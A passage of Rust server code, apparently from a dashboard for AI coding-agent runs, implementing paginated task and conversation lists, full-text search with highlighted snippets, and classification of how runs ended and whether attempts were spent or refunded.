5376            token,
5377            talks,
5378            opened: std::time::Instant::now(),
5379            ids: ids.clone(),
5380            initial_end,
5381        });
5382        (token, ids, 0, initial_end)
5383    };
5384    if offset > ids.len() {
5385        return Err(ApiError::bad_request("Invalid list cursor"));
5386    }
5387    let end = if offset == 0 {
5388        initial_end
5389    } else {
5390        offset.saturating_add(STORE_PAGE_SIZE).min(ids.len())
5391    };
5392    let next = (end < ids.len()).then(|| format!("{token}:{end}"));
5393    Ok((ids[offset..end].to_vec(), next))
5394}
5395
5396async fn queue_page(
5397    State(ui): State<Arc<Ui>>,
5398    Query(q): Query<PageQuery>,
5399) -> ApiResult<Json<StorePage<TaskView>>> {
5400    blocking(move || {
5401        let (ids, next) = page_ids(&ui, false, q)?;
5402        let tasks: Vec<_> = ids
5403            .into_iter()
5404            .filter_map(|id| ui.queue.get(&id).ok())
5405            .collect();
5406        let inv = crate::blockers::Inventory::load_for_tasks(&ui.queue, &ui.questions, &tasks);
5407        let rows = tasks
5408            .into_iter()
5409            .map(|task| TaskView::with_inventory(task, &inv))
5410            .collect();
5411        Ok(Json(StorePage { rows, next }))
5412    })
5413    .await
5414}
5415
5416/// Fixed-size wire projection. Agent timestamps stay in the server index so
5417/// exact unread counts do not require sending an ever-growing turn list.
5418#[derive(Debug, Clone, Serialize)]
5419struct TalkListView {
5420    title: Option<talk::ChatTitle>,
5421    id: String,
5422    repo: PathBuf,
5423    agent: String,
5424    status: talk::TalkStatus,
5425    turns: Vec<TalkListTurn>,
5426    turn_count: usize,
5427    unread_count: usize,
5428    context: talk::ContextUsage,
5429    #[serde(skip)]
5430    agent_times: Vec<Timestamp>,
5431    thinking: bool,
5432    created_at: Timestamp,
5433    updated_at: Timestamp,
5434}
5435
5436#[derive(Debug, Clone, Serialize)]
5437struct TalkListTurn {
5438    who: talk::Who,
5439    at: Timestamp,
5440    body: String,
5441}
5442
5443fn talk_rows(ui: &Ui, ids: Vec<String>, headers: &header::HeaderMap) -> Vec<TalkListView> {
5444    let reads: HashMap<String, Timestamp> = headers
5445        .get("x-talk-reads")
5446        .and_then(|v| v.to_str().ok())
5447        .and_then(|v| serde_json::from_str(v).ok())
5448        .unwrap_or_default();
5449    let mut index = ui
5450        .monitor
5451        .talk_index
5452        .lock()
5453        .unwrap_or_else(PoisonError::into_inner);
5454    // Bound memory independently of the number of conversations ever opened.
5455    if index.len() > 1000 {
5456        let keep: HashSet<&str> = ids.iter().map(String::as_str).collect();
5457        index.retain(|id, (_, row)| keep.contains(id.as_str()) || row.status.open());
5458        if index.len() > 1000 {
5459            index.retain(|id, _| keep.contains(id.as_str()));
5460        }
5461    }
5462    ids.into_iter()
5463        .filter_map(|id| {
5464            let identity = file_identity(&ui.talks.path_of(&id)).ok()?;
5465            if index.get(&id).is_none_or(|(old, _)| *old != identity) {
5466                let talk = ui.talks.get(&id).ok()?;
5467                #[cfg(test)]
5468                ui.monitor
5469                    .talk_parses
5470                    .fetch_add(1, std::sync::atomic::Ordering::Relaxed);
5471                let first = talk.turns.iter().position(|t| t.who == talk::Who::Operator);
5472                let last = talk.turns.len().checked_sub(1);
5473                let turns = talk
5474                    .turns
5475                    .iter()
5476                    .enumerate()
5477                    .filter(|(i, _)| Some(*i) == first || Some(*i) == last)
5478                    .map(|(_, t)| TalkListTurn {
5479                        who: t.who,
5480                        at: t.at,
5481                        body: t
5482                            .body
5483                            .lines()
5484                            .next()
5485                            .unwrap_or_default()
5486                            .chars()
5487                            .take(240)
5488                            .collect(),
5489                    })
5490                    .collect();
5491                let row = TalkListView {
5492                    title: talk.title.clone(),
5493                    agent_times: talk
5494                        .turns
5495                        .iter()
5496                        .filter(|t| t.who == talk::Who::Agent)
5497                        .map(|t| t.at)
5498                        .collect(),
5499                    turn_count: talk.turns.len(),
5500                    unread_count: 0,
5501                    context: talk::context_usage(&talk, None),
5502                    turns,
5503                    thinking: false,
5504                    id: talk.id,
5505                    repo: talk.repo,
5506                    agent: talk.agent,
5507                    status: talk.status,
5508                    created_at: talk.created_at,
5509                    updated_at: talk.updated_at,
5510                };
5511                index.insert(id.clone(), (identity, row));
5512            }
5513            let row = &index.get(&id)?.1;
5514            let mut row = TalkListView {
5515                title: row.title.clone(),
5516                unread_count: row
5517                    .agent_times
5518                    .iter()
5519                    .filter(|at| reads.get(&id).is_none_or(|read| *at > read))
5520                    .count(),
5521                agent_times: Vec::new(),
5522                id: row.id.clone(),
5523                repo: row.repo.clone(),
5524                agent: row.agent.clone(),
5525                status: row.status,
5526                context: row.context.clone(),
5527                turns: row.turns.clone(),
5528                turn_count: row.turn_count,
5529                thinking: false,
5530                created_at: row.created_at,
5531                updated_at: row.updated_at,
5532            };
5533            row.thinking = ui.is_thinking(&id);
5534            Some(row)
5535        })
5536        .collect()
5537}
5538
5539async fn talks_page(
5540    State(ui): State<Arc<Ui>>,
5541    Query(q): Query<PageQuery>,
5542    headers: header::HeaderMap,
5543) -> ApiResult<Json<StorePage<TalkListView>>> {
5544    bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
5545        let (ids, next) = page_ids(&ui, true, q)?;
5546        Ok(Json(StorePage {
5547            rows: talk_rows(&ui, ids, &headers),
5548            next,
5549        }))
5550    })
5551    .await
5552}
5553
5554async fn stats_queue(State(ui): State<Arc<Ui>>) -> ApiResult<Json<TaskCountsView>> {
5555    blocking(move || {
5556        let tasks = ui.indexed_tasks()?;
5557        Ok(Json(TaskCountsView::from(
5558            crate::queue::TaskCounts::of_statuses(tasks.iter().filter_map(|task| task.status)),
5559        )))
5560    })
5561    .await
5562}
5563
5564/// Most hits one search returns. The rest are counted in `total`.
5565const SEARCH_MAX_HITS: usize = 100;
5566/// Longest query, in characters, and most terms it is split into.
5567const SEARCH_MAX_QUERY: usize = 200;
5568const SEARCH_MAX_TERMS: usize = 8;
5569/// Characters of context kept before the first hit, and after it.
5570const SNIPPET_BEFORE: usize = 50;
5571const SNIPPET_AFTER: usize = 110;
5572
5573/// `?scope=runs|tasks&q=...`
5574#[derive(Debug, Deserialize)]
5575struct SearchQuery {
5576    #[serde(default)]
5577    scope: String,
5578    #[serde(default)]
5579    q: String,
5580}
5581
5582/// One piece of a snippet. `hit` pieces are what matched; the client renders
5583/// them as `<mark>` through DOM text nodes, so no markup is ever built here.
5584#[derive(Debug, Serialize, PartialEq, Eq)]
5585struct SnippetPart {
5586    text: String,
5587    hit: bool,
5588}
5589
5590/// Position plus transcript evidence, without changing the saved chat schema.
5591#[derive(Debug, Serialize)]
5592struct ChatSearchTarget {
5593    turn: usize,
5594    message: usize,
5595    at: String,
5596    text: String,
5597}
5598
5599fn chat_text_key(body: &str) -> String {
5600    let hash = body.chars().fold(2166136261_u32, |hash, c| {
5601        (hash ^ u32::from(c)).wrapping_mul(16777619)
5602    });
5603    format!("{hash:08x}:{}", body.chars().count())
5604}
5605
5606#[derive(Debug, Serialize)]
5607struct SearchHit {
5608    #[serde(skip_serializing_if = "Option::is_none")]
5609    target: Option<ChatSearchTarget>,
5610    id: String,
5611    /// The name of the field the snippet was cut from.
5612    field: String,
5613    snippet: Vec<SnippetPart>,
5614    /// The run's list row, so the page can apply its state / section / repo
5615    /// filters to a hit outside the loaded window. Absent for tasks and for a
5616    /// run record the list view cannot read.
5617    #[serde(skip_serializing_if = "Option::is_none")]
5618    run: Option<RunSummary>,
5619}
5620
5621#[derive(Debug, Serialize)]
5622struct SearchView {
5623    scope: String,
5624    q: String,
5625    /// At most [`SEARCH_MAX_HITS`], newest runs / queue order first.
5626    hits: Vec<SearchHit>,
5627    /// Every match, hits beyond the cap included.
5628    total: usize,
5629    truncated: bool,
5630    /// Runs whose `run.json` could not be parsed at all. They were not
5631    /// searched; the same meaning as `runs_unreadable` in `/api/health`.
5632    unreadable: usize,
5633}
5634
5635/// The text leaves of a JSON document, with the name of the field each sits
5636/// under. Keys and numbers are skipped: they are structure, not prose.
5637fn text_leaves<'a>(
5638    value: &'a serde_json::Value,
5639    field: &'a str,
5640    out: &mut Vec<(&'a str, &'a str)>,
5641) {
5642    match value {
5643        serde_json::Value::String(s) => out.push((field, s)),
5644        serde_json::Value::Array(items) => items.iter().for_each(|v| text_leaves(v, field, out)),
5645        serde_json::Value::Object(map) => map.iter().for_each(|(k, v)| text_leaves(v, k, out)),
5646        _ => {}
5647    }
5648}
5649
5650/// Lower-case one character without changing how many there are, so indices
5651/// in the lowered text are indices in the original.
5652fn fold_char(c: char) -> char {
5653    c.to_lowercase().next().unwrap_or(c)
5654}
5655
5656/// Split a query into its lower-cased terms.
5657fn search_terms(q: &str) -> Vec<String> {
5658    let mut terms: Vec<String> = Vec::new();
5659    for t in q.split_whitespace() {
5660        let t = t.to_lowercase();
5661        if !terms.contains(&t) {
5662            terms.push(t);
5663        }
5664    }
5665    terms
5666}
5667
5668/// Match `terms` (all of them, anywhere in the document) against the leaves
5669/// and cut a snippet around the first hit. `None` when a term is missing.
5670fn search_document(terms: &[String], leaves: &[(&str, &str)]) -> Option<SearchHit> {
5671    let lowered: Vec<String> = leaves.iter().map(|(_, s)| s.to_lowercase()).collect();
5672    let mut first: Option<usize> = None;
5673    for term in terms {
5674        let at = lowered.iter().position(|l| l.contains(term.as_str()))?;
5675        first = Some(first.map_or(at, |f| f.min(at)));
5676    }
5677    // The leaf holding the earliest hit of any term is where the snippet is cut.
5678    let (field, text) = leaves[first?];
5679    Some(SearchHit {
5680        id: String::new(),
5681        target: None,
5682        field: field.to_owned(),
5683        snippet: snippet_of(text, terms),
5684        run: None,
5685    })
5686}
5687
5688/// A window of `text` around the first occurrence of any term, whitespace
5689/// collapsed, with every term occurrence inside the window marked.
5690fn snippet_of(text: &str, terms: &[String]) -> Vec<SnippetPart> {
5691    let chars: Vec<char> = text.chars().collect();
5692    let folded: Vec<char> = chars.iter().map(|c| fold_char(*c)).collect();
5693    let needles: Vec<Vec<char>> = terms
5694        .iter()
5695        .map(|t| t.chars().map(fold_char).collect())
5696        .collect();
5697    let find = |from: usize, to: usize| -> Option<(usize, usize)> {
5698        let mut best: Option<(usize, usize)> = None;
5699        for n in needles.iter().filter(|n| !n.is_empty()) {
5700            // `to` bounds where a match may start; it may run past `to` (the
5701            // caller clips what it shows). A term longer than the field cannot
5702            // occur in it (it may live in another leaf of the document).
5703            if n.len() > chars.len() || to == 0 {
5704                continue;
5705            }
5706            let last = (to - 1).min(chars.len() - n.len());
5707            if from > last {
5708                continue;
5709            }
5710            if let Some(i) = (from..=last).find(|&i| folded[i..i + n.len()] == n[..])
5711                && best.is_none_or(|(b, _)| i < b)
5712            {
5713                best = Some((i, i + n.len()));
5714            }
5715        }
5716        best
5717    };
5718    let Some((start, _)) = find(0, chars.len()) else {
5719        // Matched only through a case mapping that changes length: show the head.
5720        let head: String = chars.iter().take(SNIPPET_AFTER).collect();
5721        return vec![SnippetPart {
5722            text: head.split_whitespace().collect::<Vec<_>>().join(" "),
5723            hit: false,
5724        }];
5725    };
5726    let lo = start.saturating_sub(SNIPPET_BEFORE);
5727    let hi = (start + SNIPPET_AFTER).min(chars.len());
5728    let mut parts: Vec<SnippetPart> = Vec::new();
5729    let mut push = |s: &[char], hit: bool| {
5730        if s.is_empty() {
5731            return;
5732        }
5733        let text: String = s.iter().collect();
5734        match parts.last_mut() {
5735            Some(p) if p.hit == hit => p.text.push_str(&text),
5736            _ => parts.push(SnippetPart { text, hit }),
5737        }
5738    };
5739    if lo > 0 {
5740        push(&['\u{2026}'], false);
5741    }
5742    let mut at = lo;
5743    while at < hi {
5744        match find(at, hi) {
5745            Some((s, e)) => {
5746                push(&chars[at..s], false);
5747                // A match running past the window is shown up to its edge.
5748                let shown = e.min(hi);
5749                push(&chars[s..shown], true);
5750                at = shown;
5751            }
5752            None => {
5753                push(&chars[at..hi], false);
5754                at = hi;
5755            }
5756        }
5757    }
5758    if hi < chars.len() {
5759        push(&['\u{2026}'], false);
5760    }
5761    // Collapse whitespace (newlines in an instruction) without disturbing the
5762    // hit boundaries.
5763    let mut prev_space = false;
5764    for p in &mut parts {
5765        let mut out = String::with_capacity(p.text.len());
5766        for c in p.text.chars() {
5767            if c.is_whitespace() {
5768                if !prev_space {
5769                    out.push(' ');
5770                }
5771                prev_space = true;
5772            } else {
5773                out.push(c);
5774                prev_space = false;
5775            }
5776        }
5777        p.text = out;
5778    }
5779    parts.retain(|p| !p.text.is_empty());
5780    parts
5781}
5782
5783/// The search over `docs` (id, document), newest first, capped.
5784fn search_docs<I>(terms: &[String], docs: I, view: &mut SearchView)
5785where
5786    I: IntoIterator<Item = (String, serde_json::Value)>,
5787{
5788    for (id, doc) in docs {
5789        let mut leaves = Vec::new();
5790        // The id is text an operator types too, and it is a map key on disk,
5791        // not a leaf.
5792        leaves.push(("id", id.as_str()));
5793        text_leaves(&doc, "", &mut leaves);
5794        if let Some(mut hit) = search_document(terms, &leaves) {
5795            view.total += 1;
5796            if view.hits.len() < SEARCH_MAX_HITS {
5797                hit.id = id;
5798                view.hits.push(hit);
5799            }
5800        }
5801    }
5802    view.truncated = view.total > view.hits.len();
5803}
5804
5805/// What a conversation is searched by: its list title and each turn's text,
5806/// under their sender labels so the snippet says who spoke. Nothing else
5807/// (session ids, repo paths, usage, drafts) is part of the document.
5808///
5809/// Saved titles take precedence; otherwise mirror the opener fallback in `app.js`.
5810fn talk_search_doc(talk: &Talk) -> serde_json::Value {
5811    let opener = talk
5812        .title
5813        .as_ref()
5814        .filter(|t| !t.text.is_empty())
5815        .map(|t| t.text.as_str())
5816        .or_else(|| {
5817            talk.turns
5818                .iter()
5819                .find(|t| t.who == talk::Who::Operator)
5820                .map(|t| t.body.as_str())
5821        })
5822        .and_then(|text| text.lines().map(str::trim).find(|line| !line.is_empty()))
5823        .unwrap_or("");
5824    let title: String = if opener.chars().count() > 96 {
5825        opener.chars().take(95).chain(['\u{2026}']).collect()
5826    } else {
5827        opener.to_owned()
5828    };
5829    let turns: Vec<serde_json::Value> = talk
5830        .turns
5831        .iter()
5832        .flat_map(|t| {
5833            let label = |message| match talk::sender(t, message) {
5834                talk::Sender::External => "external",
5835                _ => match t.who {
5836                    talk::Who::Operator => "operator",
5837                    talk::Who::Agent => "agent",
5838                },
5839            };
5840            if t.messages.is_empty() {
5841                vec![serde_json::json!({ label(None): t.body })]
5842            } else {
5843                t.messages
5844                    .iter()
5845                    .map(|m| serde_json::json!({ label(Some(m)): m.body }))
5846                    .collect()
5847            }
5848        })
5849        .collect();
5850    serde_json::json!({ "title": title, "turns": turns })
5851}
5852
5853fn search_chat(terms: &[String], talk: &Talk) -> Option<SearchHit> {
5854    let doc = talk_search_doc(talk);
5855    let mut leaves = vec![("id", talk.id.as_str())];
5856    text_leaves(&doc, "", &mut leaves);
5857    let mut hit = search_document(terms, &leaves)?;
5858    // Use exactly the leaf that supplied the snippet, including title/id hits.
5859    let leaf = leaves
5860        .iter()
5861        .position(|(_, text)| terms.iter().any(|term| text.to_lowercase().contains(term)))?;
5862    let messages: Vec<_> = talk
5863        .turns
5864        .iter()
5865        .enumerate()
5866        .flat_map(|(i, turn)| {
5867            let bodies: Vec<&str> = if turn.messages.is_empty() {
5868                vec![turn.body.as_str()]
5869            } else {
5870                turn.messages.iter().map(|m| m.body.as_str()).collect()
5871            };
5872            bodies
5873                .into_iter()
5874                .enumerate()
5875                .map(move |(j, body)| (i, j, turn, body))
5876        })
5877        .collect();
5878    let target = leaf
5879        .checked_sub(2)
5880        .and_then(|i| messages.get(i))
5881        .or_else(|| {
5882            // An unsaved title is the opener's first nonempty line, so its
5883            // snippet still identifies a transcript message. Saved titles do not.
5884            if leaf != 1 || talk.title.as_ref().is_some_and(|t| !t.text.is_empty()) {
5885                return None;
5886            }
5887            let (index, opener) = talk
5888                .turns
5889                .iter()
5890                .enumerate()
5891                .find(|(_, turn)| turn.who == talk::Who::Operator)?;
5892            let line = opener
5893                .body
5894                .lines()
5895                .map(str::trim)
5896                .find(|line| !line.is_empty())?;
5897            messages.iter().find(|(i, _, _, body)| {
5898                *i == index
5899                    && body.lines().map(str::trim).find(|line| !line.is_empty()) == Some(line)
5900            })
5901        });
5902    if let Some((i, j, turn, body)) = target {
5903        hit.target = Some(ChatSearchTarget {
5904            turn: *i,
5905            message: *j,
5906            at: turn.at.to_string(),
5907            text: chat_text_key(body),
5908        });
5909    }
5910    hit.id = talk.id.clone();
5911    Some(hit)
5912}
5913
5914/// Read-only full-text search over every run's `run.json`, every task or every
5915/// conversation (title and transcript).
5916///
5917/// Documents are read as plain JSON rather than `RunState` / `Task`, so a
5918/// record from an older schema still searches; only a file that is not JSON
5919/// at all is counted in `unreadable`. `artifacts/*.out` are not searched.
5920async fn search_get(
5921    State(ui): State<Arc<Ui>>,
5922    Query(q): Query<SearchQuery>,
5923) -> ApiResult<Json<SearchView>> {
5924    let query = q.q.trim().to_owned();
5925    if query.is_empty() {
5926        return Err(ApiError::bad_request("q must not be empty"));
5927    }
5928    if query.chars().count() > SEARCH_MAX_QUERY {
5929        return Err(ApiError::bad_request(format!(
5930            "q is longer than {SEARCH_MAX_QUERY} characters"
5931        )));
5932    }
5933    let terms = search_terms(&query);
5934    if terms.len() > SEARCH_MAX_TERMS {
5935        return Err(ApiError::bad_request(format!(
5936            "q has more than {SEARCH_MAX_TERMS} terms"
5937        )));
5938    }
5939    let scope = q.scope;
5940    if scope != "runs" && scope != "tasks" && scope != "chats" {
5941        return Err(ApiError::bad_request("scope must be runs, tasks or chats"));
5942    }
5943    blocking(move || {
5944        let mut view = SearchView {
5945            scope: scope.clone(),
5946            q: query,
5947            hits: Vec::new(),
5948            total: 0,
5949            truncated: false,
5950            unreadable: 0,
5951        };
5952        if scope == "runs" {
5953            let mut unreadable = 0;
5954            // One run.json is read, matched and dropped at a time; nothing
5955            // holds the whole history. The scan runs to the end even past the
5956            // hit cap so `total` and `unreadable` stay exact.
5957            let docs = run_ids(&ui.runs).into_iter().filter_map(|id| {
5958                let body = std::fs::read_to_string(ui.runs.join(&id).join("run.json")).ok();
5959                match body.and_then(|b| serde_json::from_str(&b).ok()) {
5960                    Some(v) => Some((id, v)),
5961                    None => {
5962                        unreadable += 1;
5963                        None
5964                    }
5965                }
5966            });
5967            search_docs(&terms, docs, &mut view);
5968            view.unreadable = unreadable;
5969            // Only the capped hits get a row: the filters need a run's state,
5970            // and reading every match would be the whole history again.
5971            let (open_runs, claimed, superseded) = run_row_inputs(&ui);
5972            let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
5973            for hit in &mut view.hits {
5974                if let Ok(state) = read_run(&ui.runs, &hit.id) {
5975                    hit.run = summarize(
5976                        [state],
5977                        &open_runs,
5978                        &claimed,
5979                        &superseded,
5980                        |p| probe.borrow_mut().status(p),
5981                        |p| probe.borrow_mut().started_at(p),
5982                    )
5983                    .pop();
5984                }
5985            }
5986        } else if scope == "chats" {
5987            let (talks, unreadable) = ui.talks.list_counting_unreadable();
5988            view.unreadable = unreadable;
5989            for talk in &talks {
5990                if let Some(hit) = search_chat(&terms, talk) {
5991                    view.total += 1;
5992                    if view.hits.len() < SEARCH_MAX_HITS {
5993                        view.hits.push(hit);
5994                    }
5995                }
5996            }
5997            view.truncated = view.total > view.hits.len();
5998        } else {
5999            let docs = ui.queue.list().into_iter().filter_map(|t| {
6000                let mut v = serde_json::to_value(&t).ok()?;
6001                // `source` serialises as a tagged object; the label is what
6002                // the operator reads ("human", "chat@a1b2").
6003                if let Some(o) = v.as_object_mut() {
6004                    o.insert("filed_by".to_owned(), t.source.label().into());
6005                }
6006                Some((t.id, v))
6007            });
6008            search_docs(&terms, docs, &mut view);
6009        }
6010        Ok(Json(view))
6011    })
6012    .await
6013}
6014
6015/// One attempt in a task's history, as the task page lists it.
6016#[derive(Debug, Serialize)]
6017struct TaskRunView {
6018    activity: Option<String>,
6019    /// 1-based position in [`Task::runs`].
6020    n: usize,
6021    id: String,
6022    short: String,
6023    /// `competition`, `solo`, `review`, `resume` or `unknown` (record unreadable).
6024    kind: &'static str,
6025    /// The run's own status string; `None` when its record cannot be read.
6026    status: Option<&'static str>,
6027    /// Whether this build could read the run's record. Counted, never hidden.
6028    readable: bool,
6029    /// A verdict from a collapsed panel is provisional, never a decision.
6030    provisional: bool,
6031    /// What kind of attempt this was, in one line.
6032    description: String,
6033    /// How it ended and why the task moved on (or what it is doing now).
6034    outcome: String,
6035    created_at: Option<Timestamp>,
6036    pr: Option<String>,
6037    /// Why this pass ended, classified once; the flowchart is built from it.
6038    exit: RunExit,
6039    /// What the pass did to the task's attempt budget.
6040    attempt: AttemptCost,
6041    /// Edge wording for leaving this entry; names the recorded cause when
6042    /// there is one.
6043    exit_label: String,
6044    /// The position of a later entry for the same run: this entry is an
6045    /// earlier pass of it.
6046    later_pass: Option<usize>,
6047    /// Which pass over the run this entry is (1-based) and how many entries
6048    /// the task lists for the run. Counted from the list, so known even for
6049    /// a legacy record.
6050    pass_n: usize,
6051    passes_of_run: usize,
6052    /// What the run recorded about this pass; `None` for a record from before
6053    /// passes were kept, whose cause stays unknown.
6054    pass: Option<PassView>,
6055    /// The branch a review-only run reopened.
6056    branch: Option<String>,
6057    /// The badge word when it differs from `status` (`stale` / `superseded`);
6058    /// filled by the task route, which can see liveness and later attempts.
6059    badge: Option<String>,
6060}
6061
6062/// One recorded pass over a run, for the wire.
6063#[derive(Debug, Clone, PartialEq, Serialize)]
6064struct PassView {
6065    index: usize,
6066    resumed: bool,
6067    started_at: Timestamp,
6068    ended_at: Option<Timestamp>,
6069    /// `open`, `parked` or `unrecorded`.
6070    end: &'static str,
6071    cause: Option<crate::run::ParkCause>,
6072    /// One line: why it stopped, or that nobody recorded why.
6073    label: String,
6074    /// What the task recorded for this pass; `None` when it was not settled
6075    /// (or settled by a build that kept no record).
6076    cost: Option<crate::queue::PassCost>,
6077}
6078
6079impl PassView {
6080    fn of(p: &crate::run::RunPass, settled: Option<&crate::queue::TaskPass>) -> Self {
6081        use crate::run::PassEnd;
6082        let (end, cause, label) = match &p.end {
6083            None => ("open", None, "still open".to_owned()),
6084            Some(PassEnd::Parked { cause }) => ("parked", Some(cause.clone()), cause.label()),
6085            Some(PassEnd::Unrecorded) => (
6086                "unrecorded",
6087                None,
6088                "stopped without recording why (a crash, a kill or a restart; not known)"
6089                    .to_owned(),
6090            ),
6091        };
6092        Self {
6093            index: p.index,
6094            resumed: p.resumed,
6095            started_at: p.started_at,
6096            ended_at: p.ended_at,
6097            end,
6098            cause,
6099            label,
6100            cost: settled.map(|t| t.cost),
6101        }
6102    }
6103}
6104
6105/// How one pass over a run ended, as far as the task's life is concerned.
6106#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
6107#[serde(rename_all = "snake_case")]
6108enum RunExit {
6109    Unreadable,
6110    /// An earlier pass of a run id that appears again: it stopped short.
6111    Interrupted,
6112    Parked,
6113    MachineBlocked,
6114    QuotaStall,
6115    /// Stalled on a resumed pass with quota losses on record: they may be
6116    /// left over from an earlier pass, so whether this one was refunded is
6117    /// not knowable.
6118    ResumedQuotaStall,
6119    Merged,
6120    Ready,
6121    Superseded,
6122    /// The change was already on the base under other commits: the task
6123    /// finished without this run landing anything.
6124    AlreadyInBase,
6125    /// Stalled without a rate limit to blame: no verdict, attempt spent.
6126    Stalled,
6127    /// Blocked / no-op with a pull request left open: held for a person.
6128    HeldWithPr,
6129    NoopHeld,
6130    /// Blocked or failed: the attempt is spent and the task retries or holds.
6131    Spent,
6132    InProgress,
6133}
6134
6135#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
6136#[serde(rename_all = "snake_case")]
6137enum AttemptCost {
6138    Spent,
6139    Refunded,
6140    None,
6141    /// Cannot be told from the records that remain.
6142    Unknown,
6143}
6144
6145impl RunExit {
6146    fn of(s: Option<&RunState>, resumed_later: bool, resumed: bool) -> Self {
6147        let Some(s) = s else {
6148            return Self::Unreadable;
6149        };
6150        let status = s.status;
6151        if resumed_later {
6152            Self::Interrupted
6153        } else if s.parked {
6154            Self::Parked
6155        } else if status == RunStatus::Blocked && s.resource_block.is_some() {
6156            Self::MachineBlocked
6157        } else if !status.done() {
6158            Self::InProgress
6159        } else if matches!(status, RunStatus::Merged) {
6160            Self::Merged
6161        } else if matches!(status, RunStatus::Ready) {
6162            Self::Ready
6163        } else if matches!(status, RunStatus::Superseded) {
6164            Self::Superseded
6165        } else if matches!(status, RunStatus::AlreadyInBase) {
6166            Self::AlreadyInBase
6167        } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
6168            || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
6169        {
6170            if resumed {
6171                Self::ResumedQuotaStall
6172            } else {
6173                Self::QuotaStall
6174            }
6175        } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
6176            Self::HeldWithPr
6177        } else if matches!(status, RunStatus::VerifiedNoop) {
6178            Self::NoopHeld
6179        } else if matches!(status, RunStatus::Stalled) {
6180            Self::Stalled
6181        } else {
6182            Self::Spent
6183        }
6184    }
6185
6186    fn cost(self) -> AttemptCost {
6187        match self {
6188            Self::Parked | Self::QuotaStall | Self::MachineBlocked => AttemptCost::Refunded,
6189            Self::Merged
6190            | Self::Ready
6191            | Self::Stalled
6192            | Self::HeldWithPr
6193            | Self::NoopHeld
6194            | Self::Spent => AttemptCost::Spent,
6195            Self::InProgress => AttemptCost::None,
6196            Self::AlreadyInBase => AttemptCost::Refunded,
6197            Self::Unreadable | Self::Superseded | Self::Interrupted | Self::ResumedQuotaStall => {
6198                AttemptCost::Unknown
6199            }
6200        }
6201    }
6202
6203    /// Short edge wording for leaving a run this way.
6204    fn edge_label(self, status: Option<&str>) -> String {
6205        match self {
6206            Self::Unreadable => "record unreadable".to_owned(),
6207            Self::Interrupted => "interrupted before the run finished".to_owned(),
6208            Self::Parked => "parked, attempt refunded".to_owned(),
6209            Self::MachineBlocked => "machine unavailable, attempt refunded".to_owned(),
6210            Self::QuotaStall => "quota stall, attempt refunded".to_owned(),
6211            Self::ResumedQuotaStall => "stalled after a resume, refund unknown".to_owned(),
6212            Self::Merged => "merged".to_owned(),
6213            Self::Ready => "ready, not merged".to_owned(),
6214            Self::Superseded => "superseded by a later attempt".to_owned(),
6215            Self::AlreadyInBase => "already in the base, attempt refunded".to_owned(),
6216            Self::Stalled => "stalled, no verdict, attempt spent".to_owned(),
6217            Self::HeldWithPr => "blocked, PR left open".to_owned(),
6218            Self::NoopHeld => "verified no-op".to_owned(),
6219            Self::Spent => format!("{}, attempt spent", status.unwrap_or("ended")),
6220            Self::InProgress => "in progress".to_owned(),
6221        }
6222    }
6223
6224    /// Does a task in `end` follow from a run that ended this way? When not,
6225    /// somebody closed or held the task by hand.
6226    fn explains(self, end: TaskStatus) -> bool {
6227        match self {
6228            Self::Merged | Self::AlreadyInBase => end == TaskStatus::Done,
6229            Self::HeldWithPr | Self::NoopHeld => end == TaskStatus::Held,
6230            Self::Unreadable | Self::Superseded | Self::Ready => true,
6231            _ => end != TaskStatus::Done,
6232        }
6233    }
6234}
6235
6236/// `GET /api/queue/{id}` - one task with every attempt it went through.
6237#[derive(Debug, Serialize)]
6238struct TaskDetailView {
6239    #[serde(flatten)]
6240    task: TaskView,
6241    /// Task override, or the default daemon budget when inherited.
6242    /// A separate loop's command-line limit is not visible from here.
6243    max_attempts: usize,
6244    history: Vec<TaskRunView>,
6245    /// Entries in `history`: passes over runs, not distinct runs and not
6246    /// attempts consumed (`task.attempts`).
6247    passes_total: usize,
6248    /// Distinct runs those passes belong to.
6249    runs_distinct: usize,
6250    flow: FlowView,
6251    /// Set for a follow-up task; see [`followup_origin`].
6252    followup_origin: Option<FollowUpOrigin>,
6253    /// How many entries of `history` could not be read.
6254    runs_unreadable: usize,
6255    /// Why the attempt count can be lower than the number of runs.
6256    attempts_note: &'static str,
6257}
6258
6259const ATTEMPTS_NOTE: &str = "Attempts count how many times the loop claimed this task since it was last released, \
6260and releasing a task resets the count while keeping every run. An attempt is also handed back when a run stalled \
6261on an agent rate limit or was parked for an upgrade. A resumed run appears again in the list as another pass over the same run, so \
6262the entries listed can outnumber the attempts shown after a release or a handed-back attempt.";
6263
6264/// The branch a review-only run reopened, read off the instruction
6265/// `Runner::open_review` writes.
6266fn review_branch_of(instruction: &str) -> Option<&str> {
6267    let rest = instruction.strip_prefix("Review the work already on branch `")?;
6268    rest.split('`').next().filter(|b| !b.is_empty())
6269}
6270
6271/// Where an entry sits in a task's run list.
6272#[derive(Default)]
6273struct RunSlot<'a> {
6274    /// 1-based position.
6275    n: usize,
6276    /// The same run id appeared earlier: this pass resumed it.
6277    resumed: bool,
6278    /// Position of a later pass over the same run id, if any.
6279    resumed_later: Option<usize>,
6280    /// The previous distinct run and how it ended, for the retry note.
6281    prior: Option<(&'a str, RunStatus)>,
6282    last: bool,
6283    /// This pass as the run recorded it, when it did.
6284    pass: Option<&'a crate::run::RunPass>,
6285    /// What the task recorded when it settled this pass.
6286    settled: Option<&'a crate::queue::TaskPass>,
6287    /// 1-based position among the task's entries for this run, and their count.
6288    pass_n: usize,
6289    passes_of_run: usize,
6290}
6291
6292/// Describe one entry of a task's run list. Pure: everything it needs is on
6293/// the run and the task, so it is asserted without a server.
6294fn task_run_view(id: &str, state: Option<&RunState>, at: RunSlot<'_>, task: &Task) -> TaskRunView {
6295    let RunSlot {
6296        n,
6297        resumed,
6298        resumed_later,
6299        prior,
6300        last,
6301        pass,
6302        settled,
6303        pass_n,
6304        passes_of_run,
6305    } = at;
6306    let short = run::short_of(id).to_owned();
6307    let Some(s) = state else {
6308        return TaskRunView {
6309            activity: None,
6310            n,
6311            id: id.to_owned(),
6312            short,
6313            kind: "unknown",
6314            status: None,
6315            readable: false,
6316            provisional: false,
6317            description:
